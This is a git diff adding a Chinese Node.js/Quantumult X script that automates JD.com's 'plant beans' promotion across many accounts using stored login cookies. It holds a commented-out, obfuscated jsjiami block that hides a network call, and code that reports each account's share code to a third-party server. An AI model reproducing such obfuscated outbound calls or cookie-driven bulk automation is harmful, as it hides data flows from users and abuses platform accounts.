if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_plantBean.js b/jd_plantBean.js new file mode 100644 index 0000000000..faae3908ea --- /dev/null +++ b/jd_plantBean.js @@ -0,0 +1,725 @@ +/* +种豆得豆 脚本更新地址:jd_plantBean.js +更新时间:2021-04-9 +活动入口:京东APP我的-更多工具-种豆得豆 +已支持IOS京东多账号,云端多京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +注:会自动关注任务中的店铺跟商品,介意者勿使用。 +互助码shareCode请先手动运行脚本查看打印可看到 +每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 +=====================================Quantumult X================================= +[task_local] +1 7-21/2 * * * jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true + +=====================================Loon================================ +[Script] +cron "1 7-21/2 * * *" script-path=jd_plantBean.js,tag=京东种豆得豆 + +======================================Surge========================== +京东种豆得豆 = type=cron,cronexp="1 7-21/2 * * *",wake-system=1,timeout=3600,script-path=jd_plantBean.js + +====================================小火箭============================= +京东种豆得豆 = type=cron,script-path=jd_plantBean.js, cronexpr="1 7-21/2 * * *", timeout=3600, enable=true + +搬的https://github.com/uniqueque/QuantumultX/blob/4c1572d93d4d4f883f483f907120a75d925a693e/Script/jd_plantBean.js +*/ +const $ = new Env('京东种豆得豆'); + +console.log('\n====================Hello World====================\n') + +//Node.js用户请在jdCookie.js处填写京东ck; +//ios等软件用户直接用NobyDa的jd cookie +let jdNotify = true; //是否开启静默运行。默认true开启 +let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message,subTitle; +//京东接口地址 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +//助力好友分享码(最多3个,否则后面的助力失败) +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [''] +let allMessage = ``; +let currentRoundId = null;//本期活动id +let lastRoundId = null;//上期id +let roundList = []; +let awardState = '';//上期活动的京豆是否收取 +let randomCount = $.isNode() ? 20 : 5; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + message = ''; + subTitle = ''; + option = {}; + await shareCodesFormat(); + await jdPlantBean(); + await showMsg(); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function jdPlantBean() { + try { + console.log(`获取任务及基本信息`) + await plantBeanIndex(); + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl + $.myPlantUuid = getParam(shareUrl, 'plantUuid') + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); + // var _0xodt='jsjiami.com.v6',_0x550c=[_0xodt,'LcO0wr4=','wp5ZFcKlaQrCg8Ocw4DDhQdqwqkSw6zDqMKRwpvDl8O8bzPDsMOow68Dw4zCkMKJdFEdw7oOQ8OSw6/CuVTDpEZWw6wNw6bDsDFr','wrl/LXnDlhzCuVE2w57Dpg==','wjlUhtsjfwZiUanmPiBK.xcomff.Vv6=='];(function(_0x3f712d,_0x2b5a54,_0x43c93d){var _0x5147d9=function(_0x54ea14,_0x2511df,_0x2af5f3,_0x154912,_0xb4e98e){_0x2511df=_0x2511df>>0x8,_0xb4e98e='po';var _0x551e51='shift',_0x4fdcbd='push';if(_0x2511df<_0x54ea14){while(--_0x54ea14){_0x154912=_0x3f712d[_0x551e51]();if(_0x2511df===_0x54ea14){_0x2511df=_0x154912;_0x2af5f3=_0x3f712d[_0xb4e98e+'p']()}else if(_0x2511df&&_0x2af5f3['replace'](/[wlUhtfwZUnPBKxffV=]/g,'')===_0x2511df){_0x3f712d[_0x4fdcbd](_0x154912)}}_0x3f712d[_0x4fdcbd](_0x3f712d[_0x551e51]())}return 0x8edd4};return _0x5147d9(++_0x2b5a54,_0x43c93d)>>_0x2b5a54^_0x43c93d}(_0x550c,0x1e6,0x1e600));var _0x56ae=function(_0x3d0399,_0x3bb238){_0x3d0399=~~'0x'['concat'](_0x3d0399);var _0x46bf4a=_0x550c[_0x3d0399];if(_0x56ae['iPylTr']===undefined){(function(){var _0x588716=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x524b71='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x588716['atob']||(_0x588716['atob']=function(_0x28aa7b){var _0x38f116=String(_0x28aa7b)['replace'](/=+$/,'');for(var _0xe99a22=0x0,_0xce658d,_0x1ca413,_0x279853=0x0,_0x23c550='';_0x1ca413=_0x38f116['charAt'](_0x279853++);~_0x1ca413&&(_0xce658d=_0xe99a22%0x4?_0xce658d*0x40+_0x1ca413:_0x1ca413,_0xe99a22++%0x4)?_0x23c550+=String['fromCharCode'](0xff&_0xce658d>>(-0x2*_0xe99a22&0x6)):0x0){_0x1ca413=_0x524b71['indexOf'](_0x1ca413)}return _0x23c550})}());var _0x539072=function(_0x12ead2,_0x3bb238){var _0x21ba52=[],_0x2f14ea=0x0,_0x211a67,_0x3799f2='',_0x166b2a='';_0x12ead2=atob(_0x12ead2);for(var _0x13a799=0x0,_0x3b727f=_0x12ead2['length'];_0x13a799<_0x3b727f;_0x13a799++){_0x166b2a+='%'+('00'+_0x12ead2['charCodeAt'](_0x13a799)['toString'](0x10))['slice'](-0x2)}_0x12ead2=decodeURIComponent(_0x166b2a);for(var _0x172081=0x0;_0x172081<0x100;_0x172081++){_0x21ba52[_0x172081]=_0x172081}for(_0x172081=0x0;_0x172081<0x100;_0x172081++){_0x2f14ea=(_0x2f14ea+_0x21ba52[_0x172081]+_0x3bb238['charCodeAt'](_0x172081%_0x3bb238['length']))%0x100;_0x211a67=_0x21ba52[_0x172081];_0x21ba52[_0x172081]=_0x21ba52[_0x2f14ea];_0x21ba52[_0x2f14ea]=_0x211a67}_0x172081=0x0;_0x2f14ea=0x0;for(var _0x5d12ee=0x0;_0x5d12ee<_0x12ead2['length'];_0x5d12ee++){_0x172081=(_0x172081+0x1)%0x100;_0x2f14ea=(_0x2f14ea+_0x21ba52[_0x172081])%0x100;_0x211a67=_0x21ba52[_0x172081];_0x21ba52[_0x172081]=_0x21ba52[_0x2f14ea];_0x21ba52[_0x2f14ea]=_0x211a67;_0x3799f2+=String['fromCharCode'](_0x12ead2['charCodeAt'](_0x5d12ee)^_0x21ba52[(_0x21ba52[_0x172081]+_0x21ba52[_0x2f14ea])%0x100])}return _0x3799f2};_0x56ae['WFKFbO']=_0x539072;_0x56ae['AGcEKm']={};_0x56ae['iPylTr']=!![]}var _0x31907d=_0x56ae['AGcEKm'][_0x3d0399];if(_0x31907d===undefined){if(_0x56ae['WnFJBS']===undefined){_0x56ae['WnFJBS']=!![]}_0x46bf4a=_0x56ae['WFKFbO'](_0x46bf4a,_0x3bb238);_0x56ae['AGcEKm'][_0x3d0399]=_0x46bf4a}else{_0x46bf4a=_0x31907d}return _0x46bf4a};$[_0x56ae('0','vJiY')]({'url':_0x56ae('1','&9fy')+$[_0x56ae('2','3F$k')]});_0xodt='jsjiami.com.v6'; + for (let k = 0; k < 5; k++) { + try { + await runTimes() + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + roundList = $.plantBeanIndexResult.data.roundList; + currentRoundId = roundList[1].roundId;//本期的roundId + lastRoundId = roundList[0].roundId;//上期的roundId + awardState = roundList[0].awardState; + $.taskList = $.plantBeanIndexResult.data.taskList; + subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; + message += `【上期时间】${roundList[0].dateDesc.replace('上期 ', '')}\n`; + message += `【上期成长值】${roundList[0].growth}\n`; + await receiveNutrients();//定时领取营养液 + await doHelp();//助力 + await doTask();//做日常任务 + await doEgg(); + await stealFriendWater(); + await doCultureBean(); + await doGetReward(); + await showTaskProcess(); + await plantShareSupportList(); + } else { + console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + } + } catch (e) { + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} + +function runTimes(){ + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=bean&sharecode=${$.myPlantUuid}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + if (data === '1' || data === '0') { + console.log('上报成功') + resolve() + } + } + }) + }) +} + +async function doGetReward() { + console.log(`【上轮京豆】${awardState === '4' ? '采摘中' : awardState === '5' ? '可收获了' : '已领取'}`); + if (awardState === '4') { + //京豆采摘中... + message += `【上期状态】${roundList[0].tipBeanEndTitle}\n`; + } else if (awardState === '5') { + //收获 + await getReward(); + console.log('开始领取京豆'); + if ($.getReward && $.getReward.code === '0') { + console.log('京豆领取成功'); + message += `【上期兑换京豆】${$.getReward.data.awardBean}个\n`; + $.msg($.name, subTitle, message); + allMessage += `京东账号${$.index} ${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `京东账号${$.index} ${$.nickName}\n${message}`); + // } + } else { + console.log(`$.getReward 异常:${JSON.stringify($.getReward)}`) + } + } else if (awardState === '6') { + //京豆已领取 + message += `【上期兑换京豆】${roundList[0].awardBeans}个\n`; + } + if (roundList[1].dateDesc.indexOf('本期 ') > -1) { + roundList[1].dateDesc = roundList[1].dateDesc.substr(roundList[1].dateDesc.indexOf('本期 ') + 3, roundList[1].dateDesc.length); + } + message += `【本期时间】${roundList[1].dateDesc}\n`; + message += `【本期成长值】${roundList[1].growth}\n`; +} +async function doCultureBean() { + await plantBeanIndex(); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0') { + const plantBeanRound = $.plantBeanIndexResult.data.roundList[1] + if (plantBeanRound.roundState === '2') { + //收取营养液 + if (plantBeanRound.bubbleInfos && plantBeanRound.bubbleInfos.length) console.log(`开始收取营养液`) + for (let bubbleInfo of plantBeanRound.bubbleInfos) { + console.log(`收取-${bubbleInfo.name}-的营养液`) + await cultureBean(plantBeanRound.roundId, bubbleInfo.nutrientsType) + console.log(`收取营养液结果:${JSON.stringify($.cultureBeanRes)}`) + } + } + } else { + console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) + } +} +async function stealFriendWater() { + await stealFriendList(); + if ($.stealFriendList && $.stealFriendList.code === '0') { + if ($.stealFriendList.data && $.stealFriendList.data.tips) { + console.log('\n\n今日偷取好友营养液已达上限\n\n'); + return + } + if ($.stealFriendList.data && $.stealFriendList.data.friendInfoList && $.stealFriendList.data.friendInfoList.length > 0) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + for (let item of $.stealFriendList.data.friendInfoList) { + if (new Date(nowTimes).getHours() === 20) { + if (item.nutrCount >= 2) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } else { + if (item.nutrCount >= 3) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } + } + } + } else { + console.log(`$.stealFriendList 异常: ${JSON.stringify($.stealFriendList)}`) + } +} +async function doEgg() { + await egg(); + if ($.plantEggLotteryRes && $.plantEggLotteryRes.code === '0') { + if ($.plantEggLotteryRes.data.restLotteryNum > 0) { + const eggL = new Array($.plantEggLotteryRes.data.restLotteryNum).fill(''); + console.log(`目前共有${eggL.length}次扭蛋的机会`) + for (let i = 0; i < eggL.length; i++) { + console.log(`开始第${i + 1}次扭蛋`); + await plantEggDoLottery(); + console.log(`天天扭蛋成功:${JSON.stringify($.plantEggDoLotteryResult)}`); + } + } else { + console.log('暂无扭蛋机会') + } + } else { + console.log('查询天天扭蛋的机会失败' + JSON.stringify($.plantEggLotteryRes)) + } +} +async function doTask() { + if ($.taskList && $.taskList.length > 0) { + for (let item of $.taskList) { + if (item.isFinished === 1) { + console.log(`${item.taskName} 任务已完成\n`); + continue; + } else { + if (item.taskType === 8) { + console.log(`\n【${item.taskName}】任务未完成,需自行手动去京东APP完成,${item.desc}营养液\n`) + } else { + console.log(`\n【${item.taskName}】任务未完成,${item.desc}营养液\n`) + } + } + if (item.dailyTimes === 1 && item.taskType !== 8) { + console.log(`\n开始做 ${item.taskName}任务`); + // $.receiveNutrientsTaskRes = await receiveNutrientsTask(item.taskType); + await receiveNutrientsTask(item.taskType); + console.log(`做 ${item.taskName}任务结果:${JSON.stringify($.receiveNutrientsTaskRes)}\n`); + } + if (item.taskType === 3) { + //浏览店铺 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedShopNum = item.totalNum - item.gainedNum; + if (unFinishedShopNum === 0) { + continue + } + await shopTaskList(); + const { data } = $.shopTaskListRes; + let goodShopListARR = [], moreShopListARR = [], shopList = []; + const { goodShopList, moreShopList } = data; + for (let i of goodShopList) { + if (i.taskState === '2') { + goodShopListARR.push(i); + } + } + for (let j of moreShopList) { + if (j.taskState === '2') { + moreShopListARR.push(j); + } + } + shopList = goodShopListARR.concat(moreShopListARR); + for (let shop of shopList) { + const { shopId, shopTaskId } = shop; + const body = { + "monitor_refer": "plant_shopNutrientsTask", + "shopId": shopId, + "shopTaskId": shopTaskId + } + const shopRes = await requestGet('shopNutrientsTask', body); + console.log(`shopRes结果:${JSON.stringify(shopRes)}`); + if (shopRes && shopRes.code === '0') { + if (shopRes.data && shopRes.data.nutrState && shopRes.data.nutrState === '1') { + unFinishedShopNum --; + } + } + if (unFinishedShopNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 5) { + //挑选商品 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedProductNum = item.totalNum - item.gainedNum; + if (unFinishedProductNum === 0) { + continue + } + await productTaskList(); + // console.log('productTaskList', $.productTaskList); + const { data } = $.productTaskList; + let productListARR = [], productList = []; + const { productInfoList } = data; + for (let i = 0; i < productInfoList.length; i++) { + for (let j = 0; j < productInfoList[i].length; j++){ + productListARR.push(productInfoList[i][j]); + } + } + for (let i of productListARR) { + if (i.taskState === '2') { + productList.push(i); + } + } + for (let product of productList) { + const { skuId, productTaskId } = product; + const body = { + "monitor_refer": "plant_productNutrientsTask", + "productTaskId": productTaskId, + "skuId": skuId + } + const productRes = await requestGet('productNutrientsTask', body); + if (productRes && productRes.code === '0') { + // console.log('nutrState', productRes) + //这里添加多重判断,有时候会出现活动太火爆的问题,导致nutrState没有 + if (productRes.data && productRes.data.nutrState && productRes.data.nutrState === '1') { + unFinishedProductNum --; + } + } + if (unFinishedProductNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 10) { + //关注频道 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedChannelNum = item.totalNum - item.gainedNum; + if (unFinishedChannelNum === 0) { + continue + } + await plantChannelTaskList(); + const { data } = $.plantChannelTaskList; + // console.log('goodShopList', data.goodShopList); + // console.log('moreShopList', data.moreShopList); + let goodChannelListARR = [], normalChannelListARR = [], channelList = []; + const { goodChannelList, normalChannelList } = data; + for (let i of goodChannelList) { + if (i.taskState === '2') { + goodChannelListARR.push(i); + } + } + for (let j of normalChannelList) { + if (j.taskState === '2') { + normalChannelListARR.push(j); + } + } + channelList = goodChannelListARR.concat(normalChannelListARR); + for (let channelItem of channelList) { + const { channelId, channelTaskId } = channelItem; + const body = { + "channelId": channelId, + "channelTaskId": channelTaskId + } + const channelRes = await requestGet('plantChannelNutrientsTask', body); + console.log(`channelRes结果:${JSON.stringify(channelRes)}`); + if (channelRes && channelRes.code === '0') { + if (channelRes.data && channelRes.data.nutrState && channelRes.data.nutrState === '1') { + unFinishedChannelNum --; + } + } + if (unFinishedChannelNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + } + } +} +function showTaskProcess() { + return new Promise(async resolve => { + await plantBeanIndex(); + $.taskList = $.plantBeanIndexResult.data.taskList; + if ($.taskList && $.taskList.length > 0) { + console.log(" 任务 进度"); + for (let item of $.taskList) { + console.log(`[${item["taskName"]}] ${item["gainedNum"]}/${item["totalNum"]} ${item["isFinished"]}`); + } + } + resolve() + }) +} +//助力好友 +async function doHelp() { + for (let plantUuid of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${plantUuid}`); + if (!plantUuid) continue; + if (plantUuid === $.myPlantUuid) { + console.log(`\n跳过自己的plantUuid\n`) + continue + } + await helpShare(plantUuid); + if ($.helpResult && $.helpResult.code === '0') { + // console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`); + if ($.helpResult.data.helpShareRes) { + if ($.helpResult.data.helpShareRes.state === '1') { + console.log(`助力好友${plantUuid}成功`) + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`); + } else if ($.helpResult.data.helpShareRes.state === '2') { + console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n'); + break; + } else if ($.helpResult.data.helpShareRes.state === '3') { + console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n') + } else if ($.helpResult.data.helpShareRes.state === '4') { + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`) + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`); + } + } + } else { + console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`); + } + } +} +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } +} +// ================================================此处是API================================= +//每轮种豆活动获取结束后,自动收取京豆 +async function getReward() { + const body = { + "roundId": lastRoundId + } + $.getReward = await request('receivedBean', body); +} +//收取营养液 +async function cultureBean(currentRoundId, nutrientsType) { + let functionId = arguments.callee.name.toString(); + let body = { + "roundId": currentRoundId, + "nutrientsType": nutrientsType, + } + $.cultureBeanRes = await request(functionId, body); +} +//偷营养液大于等于3瓶的好友 +//①查询好友列表 +async function stealFriendList() { + const body = { + pageNum: '1' + } + $.stealFriendList = await request('plantFriendList', body); +} + +//②执行偷好友营养液的动作 +async function collectUserNutr(paradiseUuid) { + console.log('开始偷好友'); + // console.log(paradiseUuid); + let functionId = arguments.callee.name.toString(); + const body = { + "paradiseUuid": paradiseUuid, + "roundId": currentRoundId + } + $.stealFriendRes = await request(functionId, body); +} +async function receiveNutrients() { + $.receiveNutrientsRes = await request('receiveNutrients', {"roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients"}) + // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) +} +async function plantEggDoLottery() { + $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); +} +//查询天天扭蛋的机会 +async function egg() { + $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); +} +async function productTaskList() { + let functionId = arguments.callee.name.toString(); + $.productTaskList = await requestGet(functionId, {"monitor_refer": "plant_productTaskList"}); +} +async function plantChannelTaskList() { + let functionId = arguments.callee.name.toString(); + $.plantChannelTaskList = await requestGet(functionId); + // console.log('$.plantChannelTaskList', $.plantChannelTaskList) +} +async function shopTaskList() { + let functionId = arguments.callee.name.toString(); + $.shopTaskListRes = await requestGet(functionId, {"monitor_refer": "plant_receiveNutrients"}); + // console.log('$.shopTaskListRes', $.shopTaskListRes) +} +async function receiveNutrientsTask(awardType) { + const functionId = arguments.callee.name.toString(); + const body = { + "monitor_refer": "receiveNutrientsTask", + "awardType": `${awardType}`, + } + $.receiveNutrientsTaskRes = await requestGet(functionId, body); +} +async function plantShareSupportList() { + $.shareSupportList = await requestGet('plantShareSupportList', {"roundId": ""}); + if ($.shareSupportList && $.shareSupportList.code === '0') { + const { data } = $.shareSupportList; + //当日北京时间0点时间戳 + const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + //次日北京时间0点时间戳 + const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); + let friendList = []; + data.map(item => { + if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { + friendList.push(item); + } + }) + message += `【助力您的好友】共${friendList.length}人`; + } else { + console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) + } +} +//助力好友的api +async function helpShare(plantUuid) { + console.log(`\n开始助力好友: ${plantUuid}`); + const body = { + "plantUuid": plantUuid, + "wxHeadImgUrl": "", + "shareUuid": "", + "followType": "1", + } + $.helpResult = await request(`plantBeanIndex`, body); + console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); +} +async function plantBeanIndex() { + $.plantBeanIndexResult = await request('plantBeanIndex');//plantBeanIndexBody +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/bean/${randomCount}`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(15000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取种豆得豆配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPlantBeanShareCodes = $.isNode() ? require('./jdPlantBeanShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPlantBeanShareCodes).forEach((item) => { + if (jdPlantBeanShareCodes[item]) { + $.shareCodesArr.push(jdPlantBeanShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); + resolve() + }) +} +function requestGet(function_id, body = {}) { + if (!body.version) { + body["version"] = "9.0.0.1"; + } + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return new Promise(async resolve => { + await $.wait(2000); + const option = { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function request(function_id, body = {}){ + return new Promise(async resolve => { + await $.wait(2000); + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + body["version"] = "9.2.4.0"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : 